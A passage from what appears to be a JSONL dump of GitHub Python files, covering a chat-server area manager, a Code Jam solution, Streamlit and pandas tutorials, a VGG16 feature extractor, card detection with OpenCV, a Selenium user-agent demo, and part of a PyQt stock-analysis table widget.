_, to_send = client.prepare_command('MC', loop_pargs)\n client.send_command('MC', *to_send)\n\n if self.music_looper:\n self.music_looper.cancel()\n if length > 0:\n f = lambda: loop(-1) # Server should loop now\n self.music_looper = asyncio.get_event_loop().call_later(length, f)\n loop(pargs['cid'])\n\n # Record the character name and the track they played.\n self.current_music_player = client.displayname\n self.current_music = name\n\n logger.log_server('[{}][{}]Changed music to {}.'\n .format(self.id, client.get_char_name(), name), client)\n\n # Changing music reveals sneaked players, so do that if requested\n if not client.is_staff() and not client.is_visible and reveal_sneaked:\n client.change_visibility(True)\n client.send_ooc_others('(X) {} [{}] revealed themselves by playing music ({}).'\n .format(client.displayname, client.id, client.area.id),\n is_zstaff=True)\n\n def play_music(self, name, cid, length=-1):\n \"\"\"\n Start playing a music track in an area.\n\n Parameters\n ----------\n name: str\n Name of the track to play.\n cid: int\n Character ID of the player who played the track, or -1 if the server initiated it.\n length: int\n Length of the track in seconds to allow for seamless server-managed looping.\n Defaults to -1 (no looping).\n \"\"\"\n\n self.send_command('MC', name, cid)\n\n if self.music_looper:\n self.music_looper.cancel()\n if length > 0:\n f = lambda: self.play_music(name, -1, length)\n self.music_looper = asyncio.get_event_loop().call_later(length, f)\n\n def add_to_shoutlog(self, client, msg):\n \"\"\"\n Add a shout message to the shout log of the area.\n\n Parameters\n ----------\n client: server.ClientManager.Client\n Client to record.\n msg: str\n Shout message to record.\n \"\"\"\n\n if len(self.shoutlog) >= 20:\n self.shoutlog = self.shoutlog[1:]\n\n info = '{} | [{}] {} ({}) {}'.format(Constants.get_time(), client.id,\n client.displayname, client.get_ip(), msg)\n self.shoutlog.append(info)\n\n def add_party(self, party):\n \"\"\"\n Adds a party to the area's party list.\n\n Parameters\n ----------\n party: server.PartyManager.Party\n Party to record.\n\n Raises\n ------\n AreaError:\n If the party is already a part of the party list.\n \"\"\"\n\n if party in self.parties:\n raise AreaError('Party {} is already part of the party list of this area.'\n .format(party.get_id()))\n self.parties.add(party)\n\n def remove_party(self, party):\n \"\"\"\n Removes a party from the area's party list.\n\n Parameters\n ----------\n party: server.PartyManager.Party\n Party to record.\n\n Raises\n ------\n AreaError:\n If the party is not part of the party list.\n \"\"\"\n\n if party not in self.parties:\n raise AreaError('Party {} is not part of the party list of this area.'\n .format(party.get_id()))\n self.parties.remove(party)\n\n def get_shoutlog(self):\n \"\"\"\n Get the shout log of the area.\n \"\"\"\n info = '== Shout log of {} ({}) =='.format(self.name, self.id)\n\n if not self.shoutlog:\n info += '\\r\\nNo shouts have been performed since the area was loaded.'\n else:\n for log in self.shoutlog:\n info += '\\r\\n*{}'.format(log)\n return info\n\n\n def change_status(self, value):\n \"\"\"\n Change the casing status of the area to one of predetermined values.\n\n Parameters\n ----------\n value: str\n New casing status of the area.\n\n Raises\n ------\n AreaError\n If the new casing status is not among the allowed values.\n \"\"\"\n\n allowed_values = ['idle', 'building-open', 'building-full', 'casing-open',\n 'casing-full', 'recess']\n if value.lower() not in allowed_values:\n raise AreaError('Invalid status. Possible values: {}'\n .format(', '.join(allowed_values)))\n self.status = value.upper()\n\n def unlock(self):\n \"\"\"\n Unlock the area so that non-authorized players may now join.\n \"\"\"\n\n self.is_locked = False\n if not self.is_gmlocked and not self.is_modlocked:\n self.invite_list = {}\n\n def gmunlock(self):\n \"\"\"\n Unlock the area if it had a GM lock so that non-authorized players may now join.\n \"\"\"\n\n self.is_gmlocked = False\n self.is_locked = False\n if not self.is_modlocked:\n self.invite_list = {}\n\n def modunlock(self):\n \"\"\"\n Unlock the area if it had a mod lock so that non-authorized players may now join.\n \"\"\"\n\n self.is_modlocked = False\n self.is_gmlocked = False\n self.is_locked = False\n self.invite_list = {}\n\n @property\n def in_zone(self):\n \"\"\"\n Declarator for a public in_zone attribute.\n \"\"\"\n\n return self._in_zone\n\n @in_zone.setter\n def in_zone(self, new_zone_value):\n \"\"\"\n Set the in_zone parameter to the given one\n\n Parameters\n ----------\n new_zone_value: ZoneManager.Zone or None\n New zone the area belongs to.\n\n Raises\n ------\n AreaError:\n If the area was not part of a zone and new_zone_value is None or,\n if the area was part of a zone and new_zone_value is not None.\n \"\"\"\n\n if new_zone_value is None and self._in_zone is None:\n raise AreaError('This area is already not part of a zone.')\n if new_zone_value is not None and self._in_zone is not None:\n raise AreaError('This area is already part of a zone.')\n\n self._in_zone = new_zone_value\n\n def __repr__(self):\n \"\"\"\n Return a string representation of the area.\n\n The string follows the convention 'A::AreaID:AreaName:ClientsInArea'\n \"\"\"\n\n return 'A::{}:{}:{}'.format(self.id, self.name, len(self.clients))\n\n def __init__(self, server):\n \"\"\"\n Create an area manager object.\n\n Parameters\n ----------\n server: server.TsuserverDR\n The server this area belongs to.\n \"\"\"\n\n self.server = server\n self.areas = []\n self.area_names = set()\n self.load_areas()\n\n def load_areas(self, area_list_file='config/areas.yaml'):\n \"\"\"\n Load an area list.\n\n Parameters\n ----------\n area_list_file: str, optional\n Location of the area list to load. Defaults to 'config/areas.yaml'.\n\n Raises\n ------\n AreaError\n If any one of the following conditions are met:\n * An area has no 'area' or no 'background' tag.\n * An area uses the deprecated 'sound_proof' tag.\n * Two areas have the same name.\n * An area parameter was left deliberately blank as opposed to fully erased.\n * An area has a passage to an undefined area.\n\n FileNotFound\n If the area list could not be found.\n \"\"\"\n\n self.area_names = set()\n current_area_id = 0\n temp_areas = list()\n temp_area_names = set()\n temp_reachable_area_names = set()\n\n # Check if valid area list file\n with Constants.fopen(area_list_file, 'r') as chars:\n areas = Constants.yaml_load(chars)\n\n def_param = {\n 'afk_delay': 0,\n 'afk_sendto': 0,\n 'bglock': False,\n 'bullet': True,\n 'cbg_allowed': False,\n 'change_reachability_allowed': True,\n 'default_description': self.server.config['default_area_description'],\n 'evidence_mod': 'FFA',\n 'gm_iclock_allowed': True,\n 'has_lights': True,\n 'iniswap_allowed': False,\n 'lobby_area': False,\n 'locking_allowed': False,\n 'private_area': False,\n 'reachable_areas': '',\n 'restricted_chars': '',\n 'rollp_allowed': True,\n 'rp_getarea_allowed': True,\n 'rp_getareas_allowed': True,\n 'scream_range': '',\n 'song_switch_allowed': False,\n }\n\n # Create the areas\n for item in areas:\n # Check required parameters\n if 'area' not in item:\n info = 'Area {} has no name.'.format(current_area_id)\n raise AreaError(info)\n if 'background' not in item:\n info = 'Area {} has no background.'.format(item['area'])\n raise AreaError(info)\n\n # Check unset optional parameters\n for param in def_param:\n if param not in item:\n item[param] = def_param[param]\n\n # Check use of backwards incompatible parameters\n if 'sound_proof' in item:\n info = ('The sound_proof property was defined for area {}. '\n 'Support for sound_proof was removed in favor of scream_range. '\n 'Please replace the sound_proof tag with scream_range in '\n 'your area list and try again.'.format(item['area']))\n raise AreaError(info)\n\n # Avoid having areas with the same name\n if item['area'] in temp_area_names:\n info = ('Two areas have the same name in area list: {}. '\n 'Please rename the duplicated areas and try again.'.format(item['area']))\n raise AreaError(info)\n\n # Check if any of the items were interpreted as Python Nones (maybe due to empty lines)\n for parameter in item:\n if item[parameter] is None:\n info = ('Parameter {} is manually undefined for area {}. This can be the case '\n 'due to having an empty parameter line in your area list. '\n 'Please fix or remove the parameter from the area definition and try '\n 'again.'.format(parameter, item['area']))\n raise AreaError(info)\n\n temp_areas.append(self.Area(current_area_id, self.server, item))\n temp_area_names.add(item['area'])\n temp_reachable_area_names |= temp_areas[-1].reachable_areas\n current_area_id += 1\n\n # Check if a reachable area is not an area name\n # Can only be done once all areas are created\n\n unrecognized_areas = temp_reachable_area_names-temp_area_names-{''}\n if unrecognized_areas != set():\n info = ('The following areas were defined as reachable areas of some areas in the '\n 'area list file, but were not actually defined as areas: {}. Please rename the '\n 'affected areas and try again.'.format(unrecognized_areas))\n raise AreaError(info)\n\n # Only once all areas have been created, actually set the corresponding values\n # Helps avoiding junk area lists if there was an error\n # But first, remove all zones\n\n backup_zones = self.server.zone_manager.get_zones()\n for (zone_id, zone) in backup_zones.items():\n self.server.zone_manager.delete_zone(zone_id)\n for client in zone.get_watchers():\n client.send_ooc('Your zone has been automatically deleted.')\n\n old_areas = self.areas\n self.areas = temp_areas\n self.area_names = temp_area_names\n\n # And cancel all existing day cycles\n for client in self.server.client_manager.clients:\n try:\n client.server.tasker.remove_task(client, ['as_day_cycle'])\n except KeyError:\n pass\n\n # And remove all global IC and global IC prefixes\n for client in self.server.client_manager.clients:\n if client.multi_ic:\n client.send_ooc('Due to an area list reload, your global IC was turned off. You '\n 'may turn it on again manually.')\n client.multi_ic = None\n if client.multi_ic_pre:\n client.send_ooc('Due to an area list reload, your global IC prefix was removed. '\n 'You may set it again manually.')\n client.multi_ic_pre = ''\n\n # If the default area ID is now past the number of available areas, reset it back to zero\n if self.server.default_area >= len(self.areas):\n self.server.default_area = 0\n\n for area in old_areas:\n # Decide whether the area still exists or not\n try:\n new_area = self.get_area_by_name(area.name)\n remains = True\n except AreaError:\n new_area = self.default_area()\n remains = False\n\n # Move existing clients to new corresponding area (or to default area if their previous\n # area no longer exists).\n for client in area.clients.copy():\n # Check if current char is available\n if new_area.is_char_available(client.char_id):\n new_char_id = client.char_id\n else:\n try:\n new_char_id = new_area.get_rand_avail_char_id()\n except AreaError:\n new_char_id = -1\n\n if remains:\n message = 'Area list reload. Moving you to the new {}.'\n else:\n message = ('Area list reload. Your previous area no longer exists. Moving you '\n 'to the server default area {}.')\n\n client.send_ooc(message.format(new_area.name))\n client.change_area(new_area, ignore_checks=True, change_to=new_char_id,\n ignore_notifications=True)\n\n # Move parties (independently)\n for party in area.parties.copy():\n party.area = new_area\n new_area.add_party(party)\n\n # Update the server's area list only once everything is successful\n self.server.old_area_list = self.server.area_list\n self.server.area_list = area_list_file\n\n def default_area(self):\n \"\"\"\n Return the Area object corresponding to the server's default area.\n \"\"\"\n\n return self.areas[self.server.default_area]\n\n def get_area_by_name(self, name):\n \"\"\"\n Return the Area object corresponding to the area that has the given name.\n\n Parameters\n ----------\n name: str\n Area name to look for.\n\n Raises\n ------\n AreaError\n If no area has the given name.\n \"\"\"\n\n for area in self.areas:\n if area.name == name:\n return area\n raise AreaError('Area not found.')\n\n def get_area_by_id(self, num):\n \"\"\"\n Return the Area object corresponding to the area that has the given ID.\n\n Parameters\n ----------\n id: num\n Area ID to look for.\n\n Raises\n ------\n AreaError\n If no area has the given ID.\n \"\"\"\n\n for area in self.areas:\n if area.id == num:\n return area\n raise AreaError('Area not found.')\n\n def get_areas_in_range(self, area1, area2):\n \"\"\"\n Return all areas whose ID is at least area1's and at most area2's.\n If both areas have the same ID, return just the given area.\n If area2's ID is smaller than area1's, return the empty set.\n\n Parameters\n ----------\n area1: self.Area\n Area whose ID will be the lower bound.\n area2: self.Area\n Area whose ID will be the upper bound\n\n Returns\n ------\n set of self.Area\n All areas in `self.areas` that satisfy area1.id <= area.id <= area2.id\n \"\"\"\n\n return {self.get_area_by_id(i) for i in range(area1.id, area2.id+1)}\n","repo_name":"INumnumI/PODER_DIVINO","sub_path":"server/area_manager.py","file_name":"area_manager.py","file_ext":"py","file_size_in_byte":41304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23572447441","text":"#!/usr/bin/env python3\nfrom collections import defaultdict\n\nfor it in range(int(input())):\n n, k = list(map(int, input().split()))\n l, r = n, k\n cnt = defaultdict(int)\n cnt[n] = 1\n k -= 1\n while k:\n v = max(cnt.items())\n ln, vl = v\n get = min(k, vl)\n k -= get\n cnt[ln] -= get\n ch = (ln - 1) // 2\n cnt[ch] += get\n cnt[ln - 1 - ch] += get\n if not cnt[ln]:\n del cnt[ln]\n v = max(cnt.items())[0] - 1\n l, r = v // 2, (v + 1) // 2\n print('Case #{:d}: {:d} {:d}'.format(it + 1, r, l))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/46.py","file_name":"46.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13362850909","text":"import streamlit as st\nimport pandas\ndata = {\n \"series_1\":[1,2,3,4,5],\n \"series_2\":[22,33,44,55,66]\n}\ndf = pandas.DataFrame(data)\nst.title(\"My first app\")\nst.subheader(\"Introducincg streamlit\")\nst.write(\"\"\"my first app\"\"\")\nst.write(df)\nst.line_chart(df)\n\nmyslider =st.slider(\"celsius\")\nst.write(myslider,\"in fyreheint is\",myslider * 9/5 + 32)","repo_name":"AntonyFelisberto/python-automation","sub_path":"automation/streamlit/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4934413917","text":"from urllib.request import urlretrieve\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n####Lo que vamos a hacer es descargar desde un sitio de internet al disco local, para despues usarlo\nurl = 'https://s3.amazonaws.com/assets.datacamp.com/production/course_1606/datasets/winequality-red.csv'\nfilename = '../files/winequality-red.csv'\nurlretrieve(url, filename)\n\n#Ahora lo uso\ndf = pd.read_csv(filename, sep=';')\nprint(df.head())\n\n\nprint('----------------------')\n\n#####Procesar un csv de la web pero sin descargarlo, usando la funcion nativa read_csv\ndf = pd.read_csv(url, sep=';')\nprint(df.head())\n\nprint('doble[[]]', type(df[['fixed acidity']]))\nprint('simple []', type(df['fixed acidity']))\n\npd.DataFrame.hist(df[['fixed acidity']])\nplt.xlabel('fixed acidity (g(tartaric acid)/dm$^3$)')\nplt.ylabel('count')\nplt.show()\n\nprint('----------------------')\n##### Procesamos un XLS desde la web.\nurl = 'http://s3.amazonaws.com/assets.datacamp.com/course/importing_data_into_r/latitude.xls'\ndf = pd.read_excel(url, None) #El None es para traer todas las hojas del excel\n\n#Emprimir los nobres de las hojas\nprint(df.keys())\n\n#Imprimer head() de la primera hoja, usando el nombre de la primera hoja.\nprint(df['1700'].head())\n","repo_name":"demarcocarlosa123/datacampLearning","sub_path":"ImportingData/importingFromWeb/importCSVFromWeb.py","file_name":"importCSVFromWeb.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71730297474","text":"from tensorflow.python.keras import Input\nfrom tensorflow.python.keras.models import Model\nimport os.path\nfrom os import path\nfrom vgg16 import vgg16\nFEATURES_LAYERS=13\nWEIGHTS_PATH=\"MNIST_VGG16.h5\"\n\nclass FeatureExtractor():\n '''\n Extract features\n '''\n\n def __init__(self,x_train,y_train,batch_size,epochs,x_test,y_test):\n self.x_train=x_train\n self.y_train=y_train\n self.batch_size=batch_size\n self.epochs=epochs\n self.x_test=x_test\n self.y_test=y_test\n self.model=vgg16()\n\n def fit(self):\n if path.exists(WEIGHTS_PATH):\n self.model.load_weights(WEIGHTS_PATH)\n else:\n history = self.model.fit(self.x_train, self.y_train,\n batch_size=self.batch_size,\n epochs=self.epochs,\n verbose=1,\n validation_data=(self.x_test, self.y_test))\n\n self.model.save_weights(WEIGHTS_PATH)\n\n # extract features from last convolution layer of VGG16\n self.model.pop()\n self.model.pop()\n self.model.pop()\n self.model.pop()\n self.model.pop()\n self.model.pop()\n\n def extract_features(self,data):\n return self.model.predict(data)\n\n","repo_name":"ariel-zilber/university_computer_vision","sub_path":"ex4/code_ex3.5/feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39691303980","text":"import cv2\nimport numpy as np\n\n\nRANKS = ('2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K', 'A')\nSUITS = ('clubs', 'diamonds', 'hearts', 'spades')\n\n\ndef create_white_mask(gray):\n \"\"\"\n Creates mask from grayscale image filtering white parts.\n \"\"\"\n\n # Maximum pixel intensity\n max_intensity = np.max(gray)\n\n # Mask from high intensity pixels\n white_mask = cv2.inRange(gray, int(max_intensity * 0.75), int(max_intensity))\n\n return white_mask\n\n\ndef find_contour_corners(contour):\n \"\"\"\n Finds 4 corner points of a contour.\n \"\"\"\n\n # Approximate contour polygon points\n perimeter = cv2.arcLength(contour, True)\n corners = cv2.approxPolyDP(contour, perimeter * 0.02, True)\n\n # Not quadrilateral\n if len(corners) != 4:\n return None\n\n # Order correction\n if np.linalg.norm(corners[0] - corners[1]) < np.linalg.norm(corners[0] - corners[-1]):\n corners = np.roll(corners, -1, axis=0)\n\n return corners\n\n\ndef create_birds_eye_view(img, points, output_shape):\n \"\"\"\n Transforms and crops an image to create a birds eye view.\n \"\"\"\n\n # Output points for transformation\n output_points = [\n [0, 0], # Top left\n [0, output_shape[1]], # Bottom left\n [output_shape[0], output_shape[1]], # Bottom right\n [output_shape[0], 0], # Top right\n ]\n\n # Calculate perspective transform\n transform = cv2.getPerspectiveTransform(\n np.float32(points),\n np.float32(output_points)\n )\n\n # Apply perspective transform and crop\n birds_eye = cv2.warpPerspective(img, transform, output_shape)\n\n return birds_eye\n\n\ndef create_card_label(img, contour, corners, rank, rank_conf, suit, suit_conf):\n \"\"\"\n Labels and colors a segmented card.\n \"\"\"\n\n # Mix color\n color = (int((rank + 1) / len(RANKS) * 255), int((suit + 1) / len(SUITS) * 255))\n\n # Draw contour\n cv2.drawContours(img, [contour], -1, color, 4)\n\n # Blank mask\n mask = np.zeros_like(img)\n\n # Fill contour on mask\n cv2.fillPoly(mask, [contour], color)\n\n # Add mask to image\n img = cv2.addWeighted(img, 0.95, mask, 0.70, 0)\n\n # Label text\n label = '{0}: {1} {2}: {3}'.format(RANKS[rank], str(rank_conf), SUITS[suit], str(suit_conf))\n\n # Draw label\n cv2.putText(img, label, corners[0][0], cv2.FONT_HERSHEY_SIMPLEX, 1, color, 2)\n\n return img\n","repo_name":"DrKarambit/playing-card-detection","sub_path":"src/image_manipulation.py","file_name":"image_manipulation.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3353716054","text":"# Headless Chrome을 쓸 때 주의점\n# : 구글 무비에서는 user-agent를 설정하지 않아도 headless chrome 접속 시 정상 작동하나,\n# 일부 사이트에서는 봇 등으로 오해받아 접속 차단 될 수 있음\n# -> 그럴 때는 options.add_argument(\"user-agent=~~~\") 코드를 추가하면 사람이 접속하는 것으로 인식하여 정상 작동 됨!\n\n\n\n# 17_headless_chrome 파일 코드 복붙 후 코드 추가\n\n\n\nimport time\nfrom selenium import webdriver\n\nfrom bs4 import BeautifulSoup\n\n\n\noptions = webdriver.ChromeOptions() \n\noptions.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\n\noptions.headless = True\noptions.add_argument(\"window-size=1920x1080\") # 해당 코드를 넣지 않으면 headless chrome 접속으로 인식되어 일부 사이트에서 접속 차단될 수 있음\n\n\n\n# headless chrome으로 접속 시 사이트에서 봇 접속 등으로 차단 당하는걸 방지하는 기능 (w.m.u.a.? 사이트에서 user-agent값 복붙해서 입력)\noptions.add_argument(\"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\")\n\n\n\nbrowser = webdriver.Chrome(options=options) \n\nbrowser.maximize_window()\n\n\n# what is my user agent? 사이트에서 user-agent 값 불러오기\nurl = \"https://www.whatismybrowser.com/detect/what-is-my-user-agent\"\nbrowser.get(url)\n\ndetected_value = browser.find_element_by_id(\"detected_value\")\nprint(detected_value.text)\n\n\n\n# 사이트에서 표시된 내 크롬 user-agent 값 : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\n\n# 코드를 통해 출력한 user-agent 값 : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/92.0.4515.107 Safari/537.36\n# -> headless chrome을 사용해서 사이트 접속 시 user-agent 값 뒤에 'HeadlessChrome/92.0.4515.107 Safari/537.36' 꼬리표가 뜰 수 있음\n# -> 일부 사이트에서 headless chrome 접속을 차단할 수 있으므로 별도의 조취가 필요함\n\n# -> 위에 options.add_argument(\"user-agent=~~~\") 코드를 추가한 후 코드를 재실행하면\n# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\n# 으로 해당 사이트가 headless chrome 이 아닌 일반 chrome 창을 띄운걸로 인식! (해당 사이트에서 차단되는 것 방지 가능!!)\n","repo_name":"salgues88/NADOCoding_Python_WebScraping","sub_path":"Web_Scraping_Basic/18_headless_chrome_useragent.py","file_name":"18_headless_chrome_useragent.py","file_ext":"py","file_size_in_byte":2551,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16923832555","text":"import threading\nimport os\nimport struct\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\n\ntry:\n from PyQt5.QtWebKitWidgets import QWebView as DyWebView\nexcept ImportError:\n from PyQt5.QtWebEngineWidgets import QWebEngineView as DyWebView\n\nfrom PyQt5.QtCore import QUrl\nfrom PyQt5.QtWidgets import QApplication, QFileDialog\nfrom PyQt5 import QtCore\n\nfrom EventEngine.DyEvent import *\nfrom DyCommon.Ui.DyStatsTableWidget import *\nfrom ....Data.Viewer.DyStockDataViewer import DyStockDataViewer\nfrom ....Data.Utility.DyStockDataSpider import DyStockDataSpider\nfrom ...DyStockCommon import *\nfrom ..Deal.DyStockDealDetailsMainWindow import *\nfrom .Other.DyStockIndustryCompareWindow import *\nfrom ....Data.Engine.DyStockDataEngine import *\nfrom ....Data.Utility.DyStockDataAssembler import *\nfrom .Dlg.DyStockTableAddColumnsDlg import *\nfrom .Dlg.DyStockInfoDlg import *\nfrom .Dlg.DyStockTableFilterDlg import *\nfrom .Dlg.DyStockTableSelectDlg import *\nfrom .Dlg.DyStockIndustryCompareDlg import *\nfrom .Dlg.DyStockTableColumnOperateDlg import DyStockTableColumnOperateDlg\n\n\nclass DyStockTableWidget(DyStatsTableWidget):\n \"\"\"\n 股票基类窗口\n 默认每行以‘代码’,‘名称’开始\n 提供关于股票所有相关的操作和信息展示\n 决定股票表的两个因子:name和baseDate\n \"\"\"\n # header signal\n stockTableAddColumnsActAckSignal = QtCore.pyqtSignal(type(DyEvent()))\n\n # item signal\n stockTableIndustryCompareActAckSignal = QtCore.pyqtSignal(type(DyEvent()))\n\n def __init__(self,\n eventEngine,\n parent=None,\n name=None,\n baseDate=None,\n readOnly=True,\n index=False,\n autoScroll=False,\n floatRound=2\n ):\n super().__init__(parent=parent,\n readOnly=readOnly,\n index=index,\n autoScroll=autoScroll,\n floatRound=floatRound\n )\n\n self._name = name\n self._baseDate = baseDate\n self._eventEngine = eventEngine\n\n self._windows = []\n self._curActionOngoing = False\n\n self._initDataViewer()\n\n self._registerEevent()\n\n self.itemDoubleClicked.connect(self._itemDoubleClicked)\n\n def _registerEevent(self):\n # header\n self.stockTableAddColumnsActAckSignal.connect(self._stockTableAddColumnsActAckHandler)\n self._eventEngine.register(DyEventType.stockTableAddColumnsActAck, self._stockTableAddColumnsActAckSignalEmitWrapper)\n\n # item\n self.stockTableIndustryCompareActAckSignal.connect(self._stockTableIndustryCompareActAckHandler)\n self._eventEngine.register(DyEventType.stockTableIndustryCompareActAck, self._stockTableIndustryCompareActAckSignalEmitWrapper)\n\n def _unregisterEevent(self):\n # header\n self.stockTableAddColumnsActAckSignal.disconnect(self._stockTableAddColumnsActAckHandler)\n self._eventEngine.unregister(DyEventType.stockTableAddColumnsActAck, self._stockTableAddColumnsActAckSignalEmitWrapper)\n\n # item\n self.stockTableIndustryCompareActAckSignal.disconnect(self._stockTableIndustryCompareActAckHandler)\n self._eventEngine.unregister(DyEventType.stockTableIndustryCompareActAck, self._stockTableIndustryCompareActAckSignalEmitWrapper)\n\n def closeEvent(self, event):\n self._unregisterEevent()\n\n return super().closeEvent(event)\n\n def _initDataViewer(self):\n # 省去非错误log的输出\n errorInfo = DyErrorInfo(self._eventEngine)\n self._dataEngine = DyStockDataEngine(self._eventEngine, errorInfo, registerEvent=False)\n self._dataViewer = DyStockDataViewer(self._dataEngine, errorInfo)\n self._daysEngine = self._dataEngine.daysEngine\n self._ticksEngine = self._dataEngine.ticksEngine\n\n self._errorProgressInfo = DyErrorProgressInfo(self._eventEngine)\n\n def _initHeaderMenu(self):\n \"\"\"\n 初始化表头右键菜单\n 子类可以改写添加定制菜单\n \"\"\"\n super()._initHeaderMenu()\n\n self._headerMenu.addSeparator()\n\n action = QAction('新窗口', self)\n action.triggered.connect(self._newWindowAct)\n self._headerMenu.addAction(action)\n\n self._headerMenu.addSeparator()\n\n # '添加列'\n menu = self._headerMenu.addMenu('添加列')\n\n action = QAction('个股资料...', self)\n action.triggered.connect(self._addStockInfoColumnsAct)\n menu.addAction(action)\n\n menu.addSeparator()\n\n action = QAction('涨幅...', self)\n action.triggered.connect(self._addIncreaseColumnsAct)\n menu.addAction(action)\n\n action = QAction('最大最小涨幅...', self)\n action.triggered.connect(self._addMaxMinIncreaseColumnsAct)\n menu.addAction(action)\n\n action = QAction('最大振幅...', self)\n action.triggered.connect(self._addMaxAmplitudeColumnsAct)\n menu.addAction(action)\n\n action = QAction('分钟涨幅(ETF)...', self) # 本来应该添加当日大盘开盘开始的分钟涨幅,主要为了T+1的策略。由于没有大盘指数的分笔数据,所以使用对应的ETF。\n action.triggered.connect(self._addMinuteIncreaseColumnsAct)\n menu.addAction(action)\n\n action = QAction('开盘缺口...', self) # 添加开盘缺口,0代表是当日\n action.triggered.connect(self._addOpenGapColumnsAct)\n menu.addAction(action)\n\n action = QAction('开盘涨幅', self)\n action.triggered.connect(self._addOpenIncreaseColumnsAct)\n menu.addAction(action)\n\n menu.addSeparator()\n\n action = QAction('ER(效率系数)...', self)\n action.triggered.connect(self._addErColumnsAct)\n menu.addAction(action)\n\n action = QAction('波动率...', self)\n action.triggered.connect(self._addVolatilityColumnsAct)\n menu.addAction(action)\n\n action = QAction('日收益率大盘相关系数...', self)\n action.triggered.connect(self._addDayReturnIndexCorrColumnsAct)\n menu.addAction(action)\n\n menu.addSeparator()\n\n action = QAction('列运算...', self)\n action.triggered.connect(self._addColumnOperateColumnsAct)\n menu.addAction(action)\n\n # '列操作'\n menu = self._headerMenu.addMenu('列操作')\n\n self._upDownRatioAction = QAction('涨跌比', self)\n self._upDownRatioAction.triggered.connect(self._upDownRatioAct)\n menu.addAction(self._upDownRatioAction)\n\n self._limitUpRatioAction = QAction('涨停比', self)\n self._limitUpRatioAction.triggered.connect(self._limitUpRatioAct)\n menu.addAction(self._limitUpRatioAction)\n\n action = QAction('过滤...', self)\n action.triggered.connect(self._filterAct)\n self._headerMenu.addAction(action)\n\n self._headerMenu.addSeparator()\n\n action = QAction('导出到同花顺...', self)\n action.triggered.connect(self._export2JqkaAct)\n self._headerMenu.addAction(action)\n\n action = QAction('保存...', self)\n action.triggered.connect(self._saveAsAct)\n self._headerMenu.addAction(action)\n\n def _initItemMenu(self):\n \"\"\"\n 初始化Item右键菜单\n 子类可以改写添加定制菜单\n \"\"\"\n super()._initItemMenu()\n\n self._itemMenu.addSeparator()\n\n # 分时图\n self._timeShareChartMenu = self._itemMenu.addMenu('分时图')\n\n actions = [QAction('基准日期', self)] + [QAction('向前{0}日'.format(day), self) for day in range(1, 10)]\n for action in actions:\n action.triggered.connect(self._timeShareChartAct)\n action.setCheckable(True)\n self._timeShareChartMenu.addAction(action)\n\n # 成交分布\n self._dealsDistMenu = self._itemMenu.addMenu('成交分布')\n\n actions = [QAction('基准日期', self)] + [QAction('向前{0}日'.format(day), self) for day in [5, 10, 20, 30, 60, 90, 120]]\n for action in actions:\n action.triggered.connect(self._dealsDistAct)\n action.setCheckable(True)\n self._dealsDistMenu.addAction(action)\n\n # 成交明细\n action = QAction('成交明细', self)\n action.triggered.connect(self._dealDetailsAct)\n self._itemMenu.addAction(action)\n\n # 日内K线图\n self._intraDayKLineMenu = self._itemMenu.addMenu('日内K线图')\n\n actions = [QAction('{0}秒'.format(s), self) for s in range(5, 60, 5)] + [QAction('{0}分'.format(m), self) for m in range(1, 16)]\n for action in actions:\n action.triggered.connect(self._intraDayKLineAct)\n action.setCheckable(True)\n self._intraDayKLineMenu.addAction(action)\n\n self._itemMenu.addSeparator()\n\n # 个股资料\n action = QAction('个股资料', self)\n action.triggered.connect(self._stockInfoAct)\n self._itemMenu.addAction(action)\n\n # 行业对比\n action = QAction('行业对比...', self)\n action.triggered.connect(self._industryCompareAct)\n self._itemMenu.addAction(action)\n\n self._itemMenu.addSeparator()\n\n # 水平支撑和阻力\n action = QAction('水平支撑和阻力', self)\n action.triggered.connect(self._hsarsAct)\n self._itemMenu.addAction(action)\n\n # Swing\n action = QAction('Swing', self)\n action.triggered.connect(self._swingAct)\n self._itemMenu.addAction(action)\n\n # Trend channel\n action = QAction('趋势通道', self)\n action.triggered.connect(self._trendChannelAct)\n self._itemMenu.addAction(action)\n\n # 波动分布\n action = QAction('波动分布...', self)\n action.triggered.connect(self._volatilityDistAct)\n self._itemMenu.addAction(action)\n\n # ATR Extreme通道\n action = QAction('ATR Extreme', self)\n action.triggered.connect(self._atrExtremeAct)\n self._itemMenu.addAction(action)\n\n # 波动率\n action = QAction('波动率', self)\n action.triggered.connect(self._volatilityAct)\n self._itemMenu.addAction(action)\n\n #------------------------------------------- Item Actions -------------------------------------------\n def _intraDayKLineAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n # get triggered action\n for action in self._intraDayKLineMenu.actions():\n if action.isChecked():\n action.setChecked(False)\n\n text = action.text()\n barUnit = 'min' if 